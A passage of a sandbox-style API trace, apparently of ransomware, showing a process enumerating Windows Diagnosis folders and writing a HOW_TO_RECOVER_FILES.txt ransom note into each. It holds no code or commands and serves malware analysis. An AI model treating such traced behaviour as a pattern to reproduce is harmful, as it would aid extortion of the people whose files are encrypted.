Users\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5e [0138.111] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0138.111] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\etllogs\\scenarioshutdownlogger\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0138.112] GetFileType (hFile=0x644) returned 0x1 [0138.112] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0138.112] GetFileType (hFile=0x644) returned 0x1 [0138.112] WriteFile (in: hFile=0x644, lpBuffer=0x395fb38*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9da8, lpOverlapped=0x0 | out: lpBuffer=0x395fb38*, lpNumberOfBytesWritten=0x10f9da8*=0x5d0, lpOverlapped=0x0) returned 1 [0138.113] CloseHandle (hObject=0x644) returned 1 [0138.113] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0138.113] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger", lpFilePart=0x0) returned 0x3d [0138.113] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb855a1cd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x397388f9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0138.113] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb855a1cd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x397388f9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.113] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb855a1cd, ftCreationTime.dwHighDateTime=0x1d33839, ftLastAccessTime.dwLowDateTime=0xb855a1cd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbc623573, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoLogger-Diagtrack-Listener.etl", cAlternateFileName="AUTOLO~1.ETL")) returned 1 [0138.114] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x397388f9, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x397388f9, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x397388f9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0138.114] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0138.114] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0138.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0138.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0138.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0138.114] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger", lpFilePart=0x0) returned 0x3d [0138.114] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x397388f9, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x397388f9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0138.114] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x397388f9, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x397388f9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.114] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb855a1cd, ftCreationTime.dwHighDateTime=0x1d33839, ftLastAccessTime.dwLowDateTime=0xb855a1cd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbc623573, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoLogger-Diagtrack-Listener.etl", cAlternateFileName="AUTOLO~1.ETL")) returned 1 [0138.114] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x397388f9, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x397388f9, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x397388f9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0138.114] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x397388f9, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x397388f9, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x397388f9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0138.114] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0138.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0138.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0138.114] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x56 [0138.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0138.115] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\etllogs\\shutdownlogger\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0138.115] GetFileType (hFile=0x644) returned 0x1 [0138.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0138.115] GetFileType (hFile=0x644) returned 0x1 [0138.116] WriteFile (in: hFile=0x644, lpBuffer=0x39718b0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9da8, lpOverlapped=0x0 | out: lpBuffer=0x39718b0*, lpNumberOfBytesWritten=0x10f9da8*=0x5d0, lpOverlapped=0x0) returned 1 [0138.116] CloseHandle (hObject=0x644) returned 1 [0138.116] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x47 [0138.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0138.117] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\etllogs\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0138.117] GetFileType (hFile=0x644) returned 0x1 [0138.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0138.117] GetFileType (hFile=0x644) returned 0x1 [0138.117] WriteFile (in: hFile=0x644, lpBuffer=0x3975118*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x3975118*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0138.118] CloseHandle (hObject=0x644) returned 1 [0138.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0138.119] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\LocalTraceStore", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\LocalTraceStore", lpFilePart=0x0) returned 0x36 [0138.119] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\LocalTraceStore\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a029c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39869acb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0138.119] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a029c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39869acb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.119] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39869acb, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x39869acb, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x39869acb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0138.119] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0138.119] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0138.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0138.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0138.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0138.119] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\LocalTraceStore", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\LocalTraceStore", lpFilePart=0x0) returned 0x36 [0138.119] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\LocalTraceStore\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x39869acb, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x39869acb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0138.119] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x39869acb, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x39869acb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.119] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39869acb, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x39869acb, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x39869acb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0138.119] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39869acb, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x39869acb, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x39869acb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0138.119] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0138.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0138.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0138.120] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\LocalTraceStore\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\LocalTraceStore\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4f [0138.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0138.120] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\LocalTraceStore\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\localtracestore\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0138.120] GetFileType (hFile=0x644) returned 0x1 [0138.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0138.121] GetFileType (hFile=0x644) returned 0x1 [0138.121] WriteFile (in: hFile=0x644, lpBuffer=0x39867a0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x39867a0*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0138.121] CloseHandle (hObject=0x644) returned 1 [0138.122] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0138.122] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Sideload", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Sideload", lpFilePart=0x0) returned 0x2f [0138.122] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Sideload\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a06c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39869acb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0138.122] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a06c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39869acb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.122] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39869acb, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x39869acb, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x39869acb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0138.122] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0138.122] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0138.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0138.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0138.122] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0138.122] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Sideload", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Sideload", lpFilePart=0x0) returned 0x2f [0138.122] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Sideload\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x39869acb, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x39869acb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0138.122] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x39869acb, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x39869acb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.122] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39869acb, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x39869acb, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x39869acb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0138.123] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39869acb, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x39869acb, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x39869acb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0138.123] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0138.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0138.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0138.123] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Sideload\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Sideload\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x48 [0138.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0138.123] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Sideload\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\sideload\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0138.124] GetFileType (hFile=0x644) returned 0x1 [0138.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0138.124] GetFileType (hFile=0x644) returned 0x1 [0138.124] WriteFile (in: hFile=0x644, lpBuffer=0x39999a8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x39999a8*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0138.125] CloseHandle (hObject=0x644) returned 1 [0138.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0138.125] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Siufloc", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Siufloc", lpFilePart=0x0) returned 0x2e [0138.125] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Siufloc\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a0bca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x398900e4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 